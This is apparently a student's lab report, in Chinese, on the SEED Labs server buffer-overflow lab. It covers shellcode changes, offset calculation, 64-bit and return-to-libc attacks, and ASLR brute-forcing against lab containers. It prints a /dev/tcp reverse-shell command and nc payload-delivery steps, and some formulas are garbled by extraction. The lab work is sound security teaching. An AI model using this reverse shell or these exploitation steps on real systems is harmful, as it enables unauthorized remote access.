本文为 SEED Labs 2.0 - Buffer-Overflow Attack Lab (Server Version) 的实验记录。
受到 CSDN 编辑器限制,部分内容无法更好展示。可以移步我的博客查看。同时,我很少上 CSDN,因此只会解答博客评论区的内容。
实验原理

Task1: Get Familiar with the Shellcode
进入 shellcode 文件夹。
Task. Please modify the shellcode, so you can use it to delete a file. Please include your modified the
shellcode in the lab report, as well as your screenshots.
根据 Task 的要求,我们对 shellcode_32.py 进行修改,使其能够删除文件。
需要注意的是,shell长度不能变。

然后我们新建 tmpfile 文件并运行 shellcode,过程和结果如下
$ touch tmpfile
$ ./shellcode_32.py
$ ./shellcode_64.py
$ make
$ a32.out
$ a64.out

执行完后,tmpfile 也被删除了。
Task 2: Level-1 Attack
首先关闭 address randomization countermeasure
$ sudo sysctl -w kernel.randomize_va_space=0
进入 server-code 文件夹下,执行命令
$ make
$ make install
然后返回其根目录,执行命令启动 docker
$ dcbuild
$ dcup
进入 attack-code 文件夹,执行
$ echo hello | nc 10.9.0.5 9090
^C
server 显示

我们修改 exploit.py

其中,
- shellcode 即为刚刚 shellcode_32.py 中的 shellcode
-
ret
=
ebp
+
n
\text{ret}=\text{ebp}+n
ret=ebp+n
- ebp 就是刚刚
echo hello
中得到的 ebp,因为关闭了地址随机化,所以每次都一样 - n n n 只要大于等于 8 8 8 都可以
- ebp 就是刚刚
-
offset
=
\text{offset}=
offset=
0xffffd438
− - −0xffffd3c8
+4
然后执行
$ ./exploit.py
$ cat badfile | nc 10.9.0.5 9090
得到了结果

Reverse shell. Please modify the command string in your shellcode, so you can get a reverse shell on the target
server. Please include screenshots and explanation in your lab report.
根据 Task 要求,我们将 shellcode 改为 reverse shell,即第 10 行改为
"/bin/bash -i > /dev/tcp/10.0.2.6/9090 0<&1 2>&1 *"
启动新 terminal ,执行监听
$ nc -lnv 9090
在原来的 terminal 中再次执行
$ ./exploit.py
$ cat badfile | nc 10.9.0.5 9090
可以看到获得了权限

Task 3: Level-2 Attack
本 task 重点在于处理不知道大小的 buffer。
解决方法很简单:不知道 offset,那就挨个试一遍。
同样的,我们先 echo hello
$ echo hello | nc 10.9.0.6 9090
^C

修改 exploit.py

其中,
- ret 应当大于等于
0xffffd708
+308,但应当保证 shellcode 都在 payload 内 - offset 为 100-300 之间的某个值
然后执行
$ ./exploit.py
$ cat badfile | nc 10.9.0.6 9090
得到了结果

Task 4: Level-3 Attack
本 task 重点在于处理 64 位地址的 buffer。实验手册这样描述本实验遇到的问题:
Compared to buffer-overflow attacks on 32-bit machines, attacks on 64-bit machines is more
difficult. The most difficult part is the address. Although the x64 architecture supports 64-bit address space,
only the address from0x00
through0x00007FFFFFFFFFFF
is allowed. That means for every address (8 bytes), the highest two bytes are always zeros. This causes a problem.
In our buffer-overflow attacks, we need to store at least one address in the payload, and the payload will
be copied into the stack viastrcpy()
. We know that thestrcpy()
function will stop copying when it
sees a zero. Therefore, if a zero appears in the middle of the payload, the content after the zero cannot be
copied into the stack. How to solve this problem is the most difficult challenge in this attack.
解决方法是 ret 采用 little endian,复用地址中的 \0x00\0x00
。
同样的,我们先 echo hello
$ echo hello | nc 10.9.0.7 9090
^C

修改 exploit.py

其中,
- shellcode 即为 shellcode_64.py 中的 shellcode
- start 设定为一个较小的值,可以直接取 0 0 0
-
ret
=
rbp
+
n
\text{ret}=\text{rbp}+n
ret=rbp+n
- ebp 就是刚刚
echo hello
中得到的 rbp,因为关闭了地址随机化,所以每次都一样 - n ∈ [ buffer , buffer + start ] n\in[\text{buffer},\text{buffer}+\text{start}] n∈[buffer,buffer+start]
- ebp 就是刚刚
-
offset
=
\text{offset}=
offset=
0x00007fffffffe610
− - −0x00007fffffffe540
+8
然后执行
$ ./exploit.py
$ cat badfile | nc 10.9.0.7 9090
得到了结果

Task 5: Level-4 Attack
本 task 重点在于执行 return-to-libc 攻击。
同样的,我们先 echo hello
$ echo hello | nc 10.9.0.7 9090
^C

修改 exploit.py

其中,
- ret 取一个较大的值,在 1184 1184 1184 到 1424 1424 1424 之间
-
offset
=
\text{offset}=
offset=
0x00007fffffffe700
− - −0x00007fffffffe6a0
+8
然后执行
$ ./exploit.py
$ cat badfile | nc 10.9.0.8 9090
得到了结果

Task 6: Experimenting with the Address Randomization
打开地址随机化
$ sudo sysctl -w kernel.randomize_va_space=2
各执行两次如下命令
$ echo hello | nc 10.9.0.5 9090
^C
$ echo hello | nc 10.9.0.7 9090
^C
得到结果

可以看到,每次地址都不相同,导致攻击困难。
使用 Task2 中 reverse shell 的 exploit.py 代码,执行命令
$ ./exploit.py
$ ./brute-force.sh
$ nc -lnv 9090
在尝试 52417 52417 52417 次后,成功获得权限

Tasks 7: Experimenting with Other Countermeasures
进入 server-code 文件夹,去除 -fno-stack-protector
编译 stack.c,并将 badfile 作为输入

可以看到检测到了 stack smashing。
进入 shellcode 文件夹,去除 -z execstack
编译 call_shellcode.c 并运行

可以看到,栈不再可执行。
实验总结
实验总体难度不大,只要把握住 buffer overflow 的原理,便可以很容易解决各种问题。Task2 为本实验的基础;Task3 做了一点微小的改动;Task4 难度较大,因为 64 位地址的最高两位永远是
00
00
00,导致 strcpy
会提前终止,需要思考如何处理这一问题;Task5 理解原理后比较容易;Task6 和 Task7 依葫芦画瓢即可,没有难度。